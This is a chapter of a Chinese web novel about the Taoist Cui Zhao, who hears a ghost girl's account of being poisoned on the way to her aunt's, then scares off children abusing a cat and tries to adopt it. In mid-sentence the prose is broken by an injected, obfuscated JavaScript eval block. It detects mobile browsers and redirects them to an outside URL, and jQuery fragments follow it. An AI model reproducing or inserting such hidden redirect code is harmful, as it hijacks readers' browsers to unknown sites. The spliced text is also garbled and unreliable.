小伙计不懂什么是阴晦之气,见崔昭特意吩咐忙郑重应下了。
他将崔昭安顿在二楼的一间上房,知晓崔昭还没吃晚饭,愣是将昏迷中的大厨胖子用力拍醒。
胖子给崔昭煮了一碗面,而后确认崔昭没有其他需求,客栈三工友才窝在柜台处激烈讨论起见鬼的经历。
他们的害怕是真的,兴奋激动也是真的。
与此同时,楼上的崔昭迅速解决完一碗面,连汤水都喝光了,赶路一整天,她也很疲惫。
考虑到明日一早便要离开宁丰城,崔昭没有犹豫,在房间内布下简单的法阵将姐弟鬼放出来。
养魂玉有净化怨气的作用,姐弟鬼在里面呆了半个时辰,身上的怨气少了很多,魂思清明,整只鬼不会再像先前那样动不动就发怒或失去理智。
“说说吧!三个多月了,你们不去地府报道留在人间打算做什么?”
崔昭给自己倒一杯茶,启唇抿了一口,潋滟的眉眼被清冷淡漠的气质所压制,眼帘微微一抬,展现出恰到好处的凌厉。
她放下茶杯看向姐弟俩,威压之下,姐弟俩瑟缩一瞬,鬼体很快绷直,拘谨地飘在对面,老实回道:“大师,我们是新鬼没去过地府,不认得路啊!”
崔昭诧异,反问道:“无鬼差引渡你们?”
“没有。”姐弟俩异口同声,脑袋都快摇成拨浪鼓了,随即红衣女鬼补充道:“我们也没法离开这里。”
崔昭若有所思,猜测可能是因为姐弟俩阳寿未尽,又有人施了遮掩的术法,鬼差感应不到自然不会来接引。
加上姐弟俩身负冤情,怨念重,死亡真实原因被掩盖不得公道,时间一长,他们被死前执念所累又不得报仇之法,变成地缚灵也不奇怪了。
崔昭食指轻叩桌面,每一下都好似敲到了姐弟鬼空洞的心上,她继续问道:“你们是宁丰本地人?”
“不是,奴家姓陈,单名一个莹字,是杭城人,家里做生意的。”
陈莹自我介绍,说着,不知想到了什么,双眼瞬间充血发红,鬼气大盛,在它即将爆发之际,崔昭慢吞吞掏出了一条绘有符文的鞭子,陈莹身上翻涌的鬼气立马卸掉了。
“继续说。”崔昭沉声提醒。
“前几个月,爹娘外出谈生意死在匪徒手中,没有长辈支撑门户,奴家不懂做生意,弟弟又还小,家中叔伯长辈就打起了我家财产的主意,换着法子逼迫我们转让产业。”
“奴家也是被逼狠了,一气之下将所有产业低价盘出去,去信姑姑说明情况便来投奔了。”
鬼本没有眼泪,说到伤心处,女鬼无法抑制刻在灵魂的痛苦,通红的双眸渗出血泪,声音逐渐发颤,“姑姑从前待我们姐弟极好,只是她远嫁,爹娘过世时并未回乡吊唁,来信全是关心,这也是奴家选择投奔她的原因。”
“可惜奴家错估了人性,遭此横祸也是该受的果,可怜恒哥儿才五岁,什么都不懂就被牵连没了性命,奴家恨啊!”
“大师,求您帮帮我们,只要您愿意帮忙,爹娘留下的财产全给您。”
陈莹跪下磕了几个头,陈恒见状也有样学样,磕完头不等崔昭回复,姐弟俩相拥放声大哭。
鬼音靡靡,阴气随着哭声发散出去,遇房间法阵阻挡又弹了回来。
楼下的伙计和大厨听到声音面面相觑,下意识靠近对方,警惕地观察四周,片刻后,声音消停了,三人才松了一口气。
崔昭被陈莹姐弟俩的哭嚎吵得心烦,厉呵道:“闭嘴。”
房间安静下来,崔昭在心中将整件事情缕清楚,半晌后才问:“你姑姑家在京都?”
“是。”陈莹点点头。
崔昭又问:“你确定动手的人是你姑姑?”
陈莹有些纠结,最终还是老实回答了。
“奴家没有证据,不能完全确定。”
她感觉做鬼后脑子都不太好使了,有些记忆变得模糊,思考能力也在减弱。
“奴家姐弟在半路遇到前来接应的姑姑和姑父,同行半程,客栈也住一块,除了客栈里的人,就只有姑姑和姑父能接触到我们的吃食。”
陈莹姐弟死后不能离开客栈,一个多月的观察,客栈里的人什么性格品行大概都清楚。
他们没有害人的动机,有问题的只能是姑姑夫妻俩。
崔昭听完沉默了。
她不懂查案,过于复杂的人际关系她也搞不清楚,一下子接收太多信息脑子发疼,干脆啥不想了,手一挥,将姐弟鬼重新收回养魂玉中。
反正人在京都,到时候抽空去陈莹姑姑家看一看,双方之间的因果线自会告知她答案,该如何做也就明了了。
人在做天在看,善恶终有报,不是不报,是时候未到。
崔昭躺床上默念清静经,繁杂的心绪逐渐平和下来,缓缓进入梦乡。
翌日一早,崔昭连吃带拿,不顾伙计们盛情挽留毅然决然退了房,客栈东家匆匆赶来时,崔昭已经离开客栈好一会儿了。
京都位于宁丰城以北,为了节省时间,崔昭没有走距离最近的南城门,而是选择穿城而过,从北门出。
宁丰城不大,按照当地人的指引她一路往北走,偶尔进入小巷穿行,眨眼一个时辰过去,她停在一条小巷子口。
指路的婶子告诉她,只要穿过这条巷子就能看见北城门巍峨的城楼。
崔昭没有犹豫,一夹马腹,马儿哒哒缓步走进巷子里。
许是靠近城门口地段不太好,居住在此巷的人鱼龙混杂,比城中其他巷子热闹很多。
崔昭样貌出众又独身一人,骑马穿行在巷子里顿时引来不少探究的目光,有好奇,有警惕,也有男子不怀好意的打量。
她目不斜视,全当没看见。
行至巷子中段偏僻位置,路被一群玩闹的孩子堵住了。
崔昭抬眼看去,便见围在最中间的几个孩子手拿棍棒不断往地上打,孽债的因果线随着棍棒的挥动越来越明显。
其他孩子在旁起哄笑闹,嘴里喊着:“打死它,打死它。”
“哎呀,它想跑,别让它跑了。”
崔昭凝神靠近,在孩子们的哄笑中听见几声凄厉的猫叫,便知孽债的来源了。
“你们干什么?都住手!”崔昭大声喝止。
孩子们听到骂声纷纷停下动作回头看,见是个穿着道袍的漂亮姑娘,全都不当一回事,还朝崔昭做鬼脸,张嘴就是污言秽语,全然没有孩童的天真烂漫。
崔昭阴沉着脸,此时已怒火中烧,可她还
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16084025|179490||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是克制住自己,没有做出损功德的事。
她冷声告诫:“小小年纪无心无德,轻贱生命,妄造杀孽,死了要下十八层地狱的。”
“略略略……关你屁事,我爹娘都不管我,你算哪根葱?”
“对啊!老子是他们的老大,他们都得听我的,一只没用的狸奴,杀就杀了。”
“还十八层地狱,哈哈哈哈哈,有本事你让阎王爷来抓我啊!”
“我娘说漂亮的姑娘都是上不得台面的腌臜货,都是贱人,你那么漂亮肯定也是,贱人,你有什么资格管老子,哈哈哈哈……”
领头孩子贱兮兮的话戳中了其他孩子的笑点,笑声此起彼伏,各种猥琐的动作出现在这些孩子的身上竟然没有半点违和,可见他们平时没少做,家里的长辈估计也不是什么好人。
崔昭嗤笑出声,不动声色地观察四周,随即双手掐诀,将陈莹姐弟俩召唤出来。
毫无准备突然换了地方,姐弟俩一脸懵,不知道发生了什么事,自然也来不及收拾自己,挂着死时的鬼相就显形了。
偏暗的巷道,突然出现还飘在半空的“人”,配上又青又白七窍流血的脸。
孩子们哪里见过这种场面?
一个个惊恐地瞪大双眼,两腿战战,方才还嚣张的气焰瞬间全部摁灭了。
“鬼啊!”
“救命,有鬼啊!”
他们尖叫着,争先恐后想往家跑,偏偏两条腿不听使唤一个劲发软,跑两步就直接往前摔,你绊我,我踢你,身上很疼,但是他们谁也不敢停下,跌跌撞撞连滚带爬继续往前。
附近人家听到声音出来查看情况,却只看见到崔昭一人,以为是孩子们的恶作剧,骂骂咧咧又回去了。
“大师,是您把我们弄出来的,吓到人也不关我们的事啊!”
陈莹战战兢兢,生怕崔昭怪罪。
崔昭难得露出笑脸,略有些得意道:“我要的就是这种效果,你们做的很好,没教养的熊孩子就该吃点苦头。”
事情解决了,崔昭正要上马离开,一声微弱的猫叫突然闯进她的耳朵里。
“差点把你忘了。”
她嘀咕一句走到小猫藏身的位置,拨开杂乱的竹条看见一只奄奄一息的瘦弱小猫。
小猫刚挨一顿打,正是恐惧戒备的时候,见崔昭靠近立马哈气,试图吓退她,自己也拖着断腿不断后退。
“玄猫,还是异瞳。”
崔昭双眸发亮,惊喜出声,随即从布袋里翻出一个小药瓶,无视小猫不堪一击的威胁递过去,柔声哄道:“丹药为聘,你做我的小猫好不好?”
小猫不为所动依旧保持戒备,一会儿喵喵叫,一会儿炸毛哈气。
“你饿不饿,吃个肉包子?”
崔昭见丹药没有诱惑力,又翻出刚买没多久的肉包子,掰开露出里面的肉馅往小猫面前晃了晃。
肉馅的香气太勾猫,小猫有些意动,不再哈气了,一双水润润的大眼睛可怜巴巴地盯着崔昭看,想吃又怕挨打不敢靠近。
“唉,吃吧!”
崔昭将半个包子丢到小猫面前,自己后退两步蹲下,看着它小心翼翼啃咬,时不时抬头警惕地环顾四周,那双漂亮的异瞳不知何时已盈满了泪水。